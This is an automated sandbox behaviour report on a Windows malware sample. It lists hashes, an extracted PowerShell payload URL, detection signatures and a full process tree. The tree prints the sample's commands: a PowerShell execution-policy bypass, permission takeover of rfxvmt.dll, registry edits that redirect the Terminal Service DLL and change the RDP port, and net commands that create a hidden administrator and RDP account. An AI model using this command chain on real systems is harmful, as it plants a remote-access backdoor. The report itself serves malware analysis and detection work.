Analysis
-
max time kernel
132s -
max time network
123s -
platform
windows7_x64 -
resource
win7v20201028 -
submitted
06-11-2020 11:31
Static task
static1
Behavioral task
behavioral1
Sample
8f7dbcfa8bad037d11b43554acc4d273413a2aad3d0d0f18b0ef44ed353d6f0d.exe
Resource
win7v20201028
Behavioral task
behavioral2
Sample
8f7dbcfa8bad037d11b43554acc4d273413a2aad3d0d0f18b0ef44ed353d6f0d.exe
Resource
win10v20201028
General
-
Target
8f7dbcfa8bad037d11b43554acc4d273413a2aad3d0d0f18b0ef44ed353d6f0d.exe
-
Size
3.5MB
-
MD5
62e859cf533b93d38a05a2490b65fdf4
-
SHA1
85098ce68d91cd54795beca743c7de06b546997c
-
SHA256
8f7dbcfa8bad037d11b43554acc4d273413a2aad3d0d0f18b0ef44ed353d6f0d
-
SHA512
3b90b0d2bc04c21be9b5330d5fccea3708b699c3fa054c90acf89e363ea8f97def8d2cb3ee938139596293e58ef727d27cda3add8c46caf8eddcd8b75494c479
Malware Config
Extracted
https://raw.githubusercontent.com/sqlitey/sqlite/master/speed.ps1
Signatures
-
Grants admin privileges 1 TTPs
Uses net.exe to modify the user's privileges.
-
Blacklisted process makes network request 10 IoCs
Processes:
powershell.exeflow pid process 6 2020 powershell.exe 8 2020 powershell.exe 10 2020 powershell.exe 11 2020 powershell.exe 13 2020 powershell.exe 15 2020 powershell.exe 17 2020 powershell.exe 19 2020 powershell.exe 21 2020 powershell.exe 23 2020 powershell.exe -
Modifies RDP port number used by Windows 1 TTPs
-
Possible privilege escalation attempt 8 IoCs
Processes:
icacls.exeicacls.exeicacls.exeicacls.exeicacls.exeicacls.exeicacls.exetakeown.exepid process 1100 icacls.exe 1928 icacls.exe 1608 icacls.exe 1600 icacls.exe 1640 icacls.exe 316 icacls.exe 756 icacls.exe 1112 takeown.exe -
Sets DLL path for service in the registry 2 TTPs
-
Processes:
resource yara_rule \Windows\Branding\mediasrv.png upx \Windows\Branding\mediasvc.png upx -
Deletes itself 1 IoCs
Processes:
powershell.exepid process 1624 powershell.exe -
Loads dropped DLL 2 IoCs
Processes:
pid process 1084 1084 -
Modifies file permissions 1 TTPs 8 IoCs
Processes:
icacls.exeicacls.exetakeown.exeicacls.exeicacls.exeicacls.exeicacls.exeicacls.exepid process 316 icacls.exe 756 icacls.exe 1112 takeown.exe 1100 icacls.exe 1928 icacls.exe 1608 icacls.exe 1600 icacls.exe 1640 icacls.exe -
Drops file in System32 directory 1 IoCs
Processes:
powershell.exedescription ioc process File created C:\Windows\system32\rfxvmt.dll powershell.exe -
Modifies service 2 TTPs 2 IoCs
Processes:
reg.exedescription ioc process Key created \REGISTRY\MACHINE\SYSTEM\ControlSet001\services\TermService\parameters reg.exe Set value (str) \REGISTRY\MACHINE\SYSTEM\ControlSet001\services\TermService\Parameters\ServiceDLL = "C:\\Windows\\branding\\mediasrv.png" reg.exe -
Drops file in Windows directory 41 IoCs
Processes:
powershell.exepowershell.exedescription ioc process File opened for modification C:\Windows\branding\Basebrd powershell.exe File created C:\Windows\ServiceProfiles\NetworkService\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\8YV7IWBRFUNF57TTGH7L.temp powershell.exe File opened for modification C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheIndex powershell.exe File opened for modification C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_13ecd2b3-14cd-4551-9dd7-d6d3d0d03dd3 powershell.exe File opened for modification C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_ba3cdc4b-900e-44a3-a52f-1b3a8476e3d0 powershell.exe File opened for modification C:\Windows\SERVIC~2\NETWOR~1\AppData\Local\Temp\TarC0B5.tmp powershell.exe File created C:\Windows\branding\mediasvc.png powershell.exe File opened for modification C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_ef09bf5b-cca1-4f40-8951-1c9a7e9e9d43 powershell.exe File opened for modification C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_0099de75-ca9a-4ea6-bb57-9023b1afc638 powershell.exe File opened for modification C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\Temporary Internet Files\counters.dat powershell.exe File opened for modification C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_4f999ccf-0190-4d66-b873-5e7ffb991c5f powershell.exe File opened for modification C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_518cb4b2-d311-4915-8966-b3bc0dffd6c6 powershell.exe File opened for modification C:\Windows\SERVIC~2\NETWOR~1\AppData\Local\Temp\TarC075.tmp powershell.exe File opened for modification C:\Windows\SERVIC~2\NETWOR~1\AppData\Local\Temp\TarC308.tmp powershell.exe File opened for modification C:\Windows\SERVIC~2\NETWOR~1\AppData\Local\Temp\TarC31A.tmp powershell.exe File opened for modification C:\Windows\SERVIC~2\NETWOR~1\AppData\Local\Temp\CabC32A.tmp powershell.exe File opened for modification C:\Windows\SERVIC~2\NETWOR~1\AppData\Local\Temp\TarC37D.tmp powershell.exe File created C:\Windows\branding\mediasrv.png powershell.exe File opened for modification C:\Windows\branding\mediasvc.png powershell.exe File opened for modification C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_dad5a975-d978-45ef-b51f-3e04b6b18bd4 powershell.exe File opened for modification C:\Windows\ServiceProfiles\NetworkService\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015 powershell.exe File opened for modification C:\Windows\ServiceProfiles\NetworkService\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\94308059B57B3142E455B38A6EB92015 powershell.exe File opened for modification C:\Windows\SERVIC~2\NETWOR~1\AppData\Local\Temp\TarBF89.tmp powershell.exe File opened for modification C:\Windows\SERVIC~2\NETWOR~1\AppData\Local\Temp\TarC32B.tmp powershell.exe File opened for modification C:\Windows\SERVIC~2\NETWOR~1\AppData\Local\Temp\CabC2F7.tmp powershell.exe File created C:\Windows\branding\wupsvc.jpg powershell.exe File opened for modification C:\Windows\branding\mediasrv.png powershell.exe File opened for modification C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_d4cd608d-377d-452f-8efb-984434f922bd powershell.exe File opened for modification C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_ead39eb6-997b-4474-b22e-dba41d3c852c powershell.exe File opened for modification C:\Windows\SERVIC~2\NETWOR~1\AppData\Local\Temp\CabBF88.tmp powershell.exe File opened for modification C:\Windows\SERVIC~2\NETWOR~1\AppData\Local\Temp\CabC074.tmp powershell.exe File opened for modification C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\Temporary Internet Files powershell.exe File opened for modification C:\Windows\SERVIC~2\NETWOR~1\AppData\Local\Temp\TarC35C.tmp powershell.exe File opened for modification C:\Windows\SERVIC~2\NETWOR~1\AppData\Local\Temp\CabC35B.tmp powershell.exe File opened for modification C:\Windows\branding\ShellBrd powershell.exe File opened for modification C:\Windows\branding\wupsvc.jpg powershell.exe File opened for modification C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_d09e251d-5152-4069-83cb-3618be64c233 powershell.exe File opened for modification C:\Windows\SERVIC~2\NETWOR~1\AppData\Local\Temp\CabC319.tmp powershell.exe File opened for modification C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_7b7080ef-7bfb-4428-9391-391da0b6c7f7 powershell.exe File opened for modification C:\Windows\SERVIC~2\NETWOR~1\AppData\Local\Temp\CabC0B4.tmp powershell.exe File opened for modification C:\Windows\SERVIC~2\NETWOR~1\AppData\Local\Temp\CabC37C.tmp powershell.exe -
Modifies data under HKEY_USERS 60 IoCs
Processes:
powershell.exeWMIC.exeWMIC.exedescription ioc process Key created \REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\trust\Certificates powershell.exe Key created \REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\trust\CRLs powershell.exe Key created \REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\trust\CTLs powershell.exe Set value (int) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1" powershell.exe Key created \REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\Disallowed\CRLs powershell.exe Key created \REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\Root\Certificates powershell.exe Key created \REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs powershell.exe Key created \REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates powershell.exe Key created \REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\CA\Certificates powershell.exe Key created \REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\Disallowed powershell.exe Key created \REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\Disallowed powershell.exe Key created \REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\Root\CRLs powershell.exe Key created \REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\SmartCardRoot powershell.exe Key created \REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs powershell.exe Key created \REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\TrustedPeople powershell.exe Key created \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections powershell.exe Key created \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad powershell.exe Key created \REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\CA\CTLs powershell.exe Key created \REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs powershell.exe Key created \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings powershell.exe Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage powershell.exe Set value (data) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Explorer\StartPage\StartMenu_Start_Time = 6062cef944b4d601 powershell.exe Key created \REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\CA\Certificates powershell.exe Key created \REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs powershell.exe Key created \REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs powershell.exe Key created \REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\trust powershell.exe Set value (int) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0" powershell.exe Set value (int) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ProxyEnable = "0" powershell.exe Key created \REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\My powershell.exe Key created \REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs powershell.exe Key created \REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates powershell.exe Key created \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ powershell.exe Set value (int) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1" powershell.exe Key created \REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\Root powershell.exe Key created \REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\CA powershell.exe Key created \REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\CA powershell.exe Key created \REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates powershell.exe Key created \REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\trust\CTLs powershell.exe Set value (data) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections\DefaultConnectionSettings = 4600000002000000090000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 powershell.exe Key created \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ WMIC.exe Key created \REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\trust powershell.exe Key created \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ WMIC.exe Key created \REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs powershell.exe Key created \REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs powershell.exe Set value (int) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\EnableNegotiate = "1" powershell.exe Key created \REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\CA\CTLs powershell.exe Key created \REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\CA\CRLs powershell.exe Key created \REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates powershell.exe Set value (int) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1" powershell.exe Key created \REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\CA\CRLs powershell.exe Key created \REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\Disallowed\Certificates powershell.exe Key created \REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\Disallowed\CTLs powershell.exe Key created \REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\Root\CTLs powershell.exe Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings powershell.exe Key created \REGISTRY\USER\S-1-5-20\Software\Classes\Local Settings\MuiCache\25\52C64B7E powershell.exe Set value (data) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections\SavedLegacySettings = 4600000002000000090000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 powershell.exe Key created \REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\TrustedPeople powershell.exe Key created \REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\trust\Certificates powershell.exe Key created \REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\trust\CRLs powershell.exe Key created \REGISTRY\USER\S-1-5-20\Software\Classes\Local Settings\MuiCache powershell.exe -
Modifies registry key 1 TTPs 1 IoCs
-
Runs net.exe
-
Script User-Agent 4 IoCs
Uses user-agent string associated with script host/environment.
Processes:
description flow ioc HTTP User-Agent header 10 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) HTTP User-Agent header 11 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) HTTP User-Agent header 13 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) HTTP User-Agent header 15 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) -
Suspicious behavior: EnumeratesProcesses 7 IoCs
Processes:
powershell.exepowershell.exepid process 1624 powershell.exe 1624 powershell.exe 1624 powershell.exe 1624 powershell.exe 1624 powershell.exe 2020 powershell.exe 2020 powershell.exe -
Suspicious behavior: LoadsDriver 5 IoCs
Processes:
pid process 468 1084 1084 1084 1084 -
Suspicious use of AdjustPrivilegeToken 15 IoCs
Processes:
powershell.exeicacls.exeWMIC.exeWMIC.exepowershell.exedescription pid process Token: SeDebugPrivilege 1624 powershell.exe Token: SeRestorePrivilege 1928 icacls.exe Token: SeAssignPrimaryTokenPrivilege 888 WMIC.exe Token: SeIncreaseQuotaPrivilege 888 WMIC.exe Token: SeAuditPrivilege 888 WMIC.exe Token: SeAssignPrimaryTokenPrivilege 888 WMIC.exe Token: SeIncreaseQuotaPrivilege 888 WMIC.exe Token: SeAuditPrivilege 888 WMIC.exe Token: SeAssignPrimaryTokenPrivilege 1540 WMIC.exe Token: SeIncreaseQuotaPrivilege 1540 WMIC.exe Token: SeAuditPrivilege 1540 WMIC.exe Token: SeAssignPrimaryTokenPrivilege 1540 WMIC.exe Token: SeIncreaseQuotaPrivilege 1540 WMIC.exe Token: SeAuditPrivilege 1540 WMIC.exe Token: SeDebugPrivilege 2020 powershell.exe -
Suspicious use of WriteProcessMemory 133 IoCs
Processes:
8f7dbcfa8bad037d11b43554acc4d273413a2aad3d0d0f18b0ef44ed353d6f0d.exepowershell.execsc.exenet.execmd.execmd.exenet.exedescription pid process target process PID 1936 wrote to memory of 1624 1936 8f7dbcfa8bad037d11b43554acc4d273413a2aad3d0d0f18b0ef44ed353d6f0d.exe powershell.exe PID 1936 wrote to memory of 1624 1936 8f7dbcfa8bad037d11b43554acc4d273413a2aad3d0d0f18b0ef44ed353d6f0d.exe powershell.exe PID 1936 wrote to memory of 1624 1936 8f7dbcfa8bad037d11b43554acc4d273413a2aad3d0d0f18b0ef44ed353d6f0d.exe powershell.exe PID 1936 wrote to memory of 1624 1936 8f7dbcfa8bad037d11b43554acc4d273413a2aad3d0d0f18b0ef44ed353d6f0d.exe powershell.exe PID 1624 wrote to memory of 1656 1624 powershell.exe csc.exe PID 1624 wrote to memory of 1656 1624 powershell.exe csc.exe PID 1624 wrote to memory of 1656 1624 powershell.exe csc.exe PID 1656 wrote to memory of 336 1656 csc.exe cvtres.exe PID 1656 wrote to memory of 336 1656 csc.exe cvtres.exe PID 1656 wrote to memory of 336 1656 csc.exe cvtres.exe PID 1624 wrote to memory of 1112 1624 powershell.exe takeown.exe PID 1624 wrote to memory of 1112 1624 powershell.exe takeown.exe PID 1624 wrote to memory of 1112 1624 powershell.exe takeown.exe PID 1624 wrote to memory of 1100 1624 powershell.exe icacls.exe PID 1624 wrote to memory of 1100 1624 powershell.exe icacls.exe PID 1624 wrote to memory of 1100 1624 powershell.exe icacls.exe PID 1624 wrote to memory of 1928 1624 powershell.exe icacls.exe PID 1624 wrote to memory of 1928 1624 powershell.exe icacls.exe PID 1624 wrote to memory of 1928 1624 powershell.exe icacls.exe PID 1624 wrote to memory of 1608 1624 powershell.exe icacls.exe PID 1624 wrote to memory of 1608 1624 powershell.exe icacls.exe PID 1624 wrote to memory of 1608 1624 powershell.exe icacls.exe PID 1624 wrote to memory of 1600 1624 powershell.exe icacls.exe PID 1624 wrote to memory of 1600 1624 powershell.exe icacls.exe PID 1624 wrote to memory of 1600 1624 powershell.exe icacls.exe PID 1624 wrote to memory of 1640 1624 powershell.exe icacls.exe PID 1624 wrote to memory of 1640 1624 powershell.exe icacls.exe PID 1624 wrote to memory of 1640 1624 powershell.exe icacls.exe PID 1624 wrote to memory of 316 1624 powershell.exe icacls.exe PID 1624 wrote to memory of 316 1624 powershell.exe icacls.exe PID 1624 wrote to memory of 316 1624 powershell.exe icacls.exe PID 1624 wrote to memory of 756 1624 powershell.exe icacls.exe PID 1624 wrote to memory of 756 1624 powershell.exe icacls.exe PID 1624 wrote to memory of 756 1624 powershell.exe icacls.exe PID 1624 wrote to memory of 1088 1624 powershell.exe reg.exe PID 1624 wrote to memory of 1088 1624 powershell.exe reg.exe PID 1624 wrote to memory of 1088 1624 powershell.exe reg.exe PID 1624 wrote to memory of 1644 1624 powershell.exe reg.exe PID 1624 wrote to memory of 1644 1624 powershell.exe reg.exe PID 1624 wrote to memory of 1644 1624 powershell.exe reg.exe PID 1624 wrote to memory of 1256 1624 powershell.exe reg.exe PID 1624 wrote to memory of 1256 1624 powershell.exe reg.exe PID 1624 wrote to memory of 1256 1624 powershell.exe reg.exe PID 1624 wrote to memory of 1216 1624 powershell.exe net.exe PID 1624 wrote to memory of 1216 1624 powershell.exe net.exe PID 1624 wrote to memory of 1216 1624 powershell.exe net.exe PID 1216 wrote to memory of 400 1216 net.exe net1.exe PID 1216 wrote to memory of 400 1216 net.exe net1.exe PID 1216 wrote to memory of 400 1216 net.exe net1.exe PID 1624 wrote to memory of 436 1624 powershell.exe cmd.exe PID 1624 wrote to memory of 436 1624 powershell.exe cmd.exe PID 1624 wrote to memory of 436 1624 powershell.exe cmd.exe PID 436 wrote to memory of 1124 436 cmd.exe cmd.exe PID 436 wrote to memory of 1124 436 cmd.exe cmd.exe PID 436 wrote to memory of 1124 436 cmd.exe cmd.exe PID 1124 wrote to memory of 1192 1124 cmd.exe net.exe PID 1124 wrote to memory of 1192 1124 cmd.exe net.exe PID 1124 wrote to memory of 1192 1124 cmd.exe net.exe PID 1192 wrote to memory of 332 1192 net.exe net1.exe PID 1192 wrote to memory of 332 1192 net.exe net1.exe PID 1192 wrote to memory of 332 1192 net.exe net1.exe PID 1624 wrote to memory of 1500 1624 powershell.exe cmd.exe PID 1624 wrote to memory of 1500 1624 powershell.exe cmd.exe PID 1624 wrote to memory of 1500 1624 powershell.exe cmd.exe
Processes
-
C:\Users\Admin\AppData\Local\Temp\8f7dbcfa8bad037d11b43554acc4d273413a2aad3d0d0f18b0ef44ed353d6f0d.exe"C:\Users\Admin\AppData\Local\Temp\8f7dbcfa8bad037d11b43554acc4d273413a2aad3d0d0f18b0ef44ed353d6f0d.exe"1⤵
- Suspicious use of WriteProcessMemory
-
\??\c:\windows\system32\WindowsPowerShell\v1.0\powershell.exe-ep bypass -f C:\Users\Admin\AppData\Local\Temp\get-points.ps12⤵
- Deletes itself
- Drops file in System32 directory
- Drops file in Windows directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\r1hxvtci\r1hxvtci.cmdline"3⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exeC:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES3BF7.tmp" "c:\Users\Admin\AppData\Local\Temp\r1hxvtci\CSCA132DEDDA2F54D919A2D88CA7A49F48.TMP"4⤵
-
C:\Windows\system32\takeown.exe"C:\Windows\system32\takeown.exe" /A /F rfxvmt.dll3⤵
- Possible privilege escalation attempt
- Modifies file permissions
-
C:\Windows\system32\icacls.exe"C:\Windows\system32\icacls.exe" rfxvmt.dll /inheritance:d3⤵
- Possible privilege escalation attempt
- Modifies file permissions
-
C:\Windows\system32\icacls.exe"C:\Windows\system32\icacls.exe" rfxvmt.dll /setowner "NT SERVICE\TrustedInstaller"3⤵
- Possible privilege escalation attempt
- Modifies file permissions
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\system32\icacls.exe"C:\Windows\system32\icacls.exe" rfxvmt.dll /grant "NT SERVICE\TrustedInstaller:F"3⤵
- Possible privilege escalation attempt
- Modifies file permissions
-
C:\Windows\system32\icacls.exe"C:\Windows\system32\icacls.exe" rfxvmt.dll /remove "NT AUTHORITY\SYSTEM"3⤵
- Possible privilege escalation attempt
- Modifies file permissions
-
C:\Windows\system32\icacls.exe"C:\Windows\system32\icacls.exe" rfxvmt.dll /grant "NT AUTHORITY\SYSTEM:RX"3⤵
- Possible privilege escalation attempt
- Modifies file permissions
-
C:\Windows\system32\icacls.exe"C:\Windows\system32\icacls.exe" rfxvmt.dll /remove BUILTIN\Administrators3⤵
- Possible privilege escalation attempt
- Modifies file permissions
-
C:\Windows\system32\icacls.exe"C:\Windows\system32\icacls.exe" rfxvmt.dll /grant BUILTIN\Administrators:RX3⤵
- Possible privilege escalation attempt
- Modifies file permissions
-
C:\Windows\system32\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber /t REG_DWORD /d 0x1C21 /f3⤵
-
C:\Windows\system32\reg.exe"C:\Windows\system32\reg.exe" add HKLM\system\currentcontrolset\services\TermService\parameters /v ServiceDLL /t REG_EXPAND_SZ /d C:\Windows\branding\mediasrv.png /f3⤵
- Modifies service
- Modifies registry key
-
C:\Windows\system32\reg.exe"C:\Windows\system32\reg.exe" add "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services" /v fEnableWddmDriver /t reg_dword /d 0 /f3⤵
-
C:\Windows\system32\net.exe"C:\Windows\system32\net.exe" localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add3⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add4⤵
-
C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /c cmd /c net start rdpdr3⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\cmd.execmd /c net start rdpdr4⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\net.exenet start rdpdr5⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 start rdpdr6⤵
-
C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /c cmd /c net start TermService3⤵
-
C:\Windows\system32\cmd.execmd /c net start TermService4⤵
-
C:\Windows\system32\net.exenet start TermService5⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 start TermService6⤵
-
C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /c del %temp%\*.ps1 /f3⤵
-
C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /c del %temp%\*.txt /f3⤵
-
C:\Windows\System32\cmd.execmd /C net.exe user wgautilacc Ghar4f5 /del1⤵
-
C:\Windows\system32\net.exenet.exe user wgautilacc Ghar4f5 /del2⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 user wgautilacc Ghar4f5 /del3⤵
-
C:\Windows\System32\cmd.execmd /C net.exe user wgautilacc REFiVcnb /add1⤵
-
C:\Windows\system32\net.exenet.exe user wgautilacc REFiVcnb /add2⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 user wgautilacc REFiVcnb /add3⤵
-
C:\Windows\System32\cmd.execmd /C net.exe LOCALGROUP "Remote Desktop Users" wgautilacc /ADD1⤵
-
C:\Windows\system32\net.exenet.exe LOCALGROUP "Remote Desktop Users" wgautilacc /ADD2⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" wgautilacc /ADD3⤵
-
C:\Windows\System32\cmd.execmd /C net.exe LOCALGROUP "Remote Desktop Users" EIDQHRRL$ /ADD1⤵
-
C:\Windows\system32\net.exenet.exe LOCALGROUP "Remote Desktop Users" EIDQHRRL$ /ADD2⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" EIDQHRRL$ /ADD3⤵
-
C:\Windows\System32\cmd.execmd /C net.exe LOCALGROUP "Administrators" wgautilacc /ADD1⤵
-
C:\Windows\system32\net.exenet.exe LOCALGROUP "Administrators" wgautilacc /ADD2⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 LOCALGROUP "Administrators" wgautilacc /ADD3⤵
-
C:\Windows\System32\cmd.execmd /C net.exe user wgautilacc REFiVcnb1⤵
-
C:\Windows\system32\net.exenet.exe user wgautilacc REFiVcnb2⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 user wgautilacc REFiVcnb3⤵
-
C:\Windows\System32\cmd.execmd.exe /C wmic path win32_VideoController get name1⤵
-
C:\Windows\System32\Wbem\WMIC.exewmic path win32_VideoController get name2⤵
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\System32\cmd.execmd.exe /C wmic CPU get NAME1⤵
-
C:\Windows\System32\Wbem\WMIC.exewmic CPU get NAME2⤵
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
-
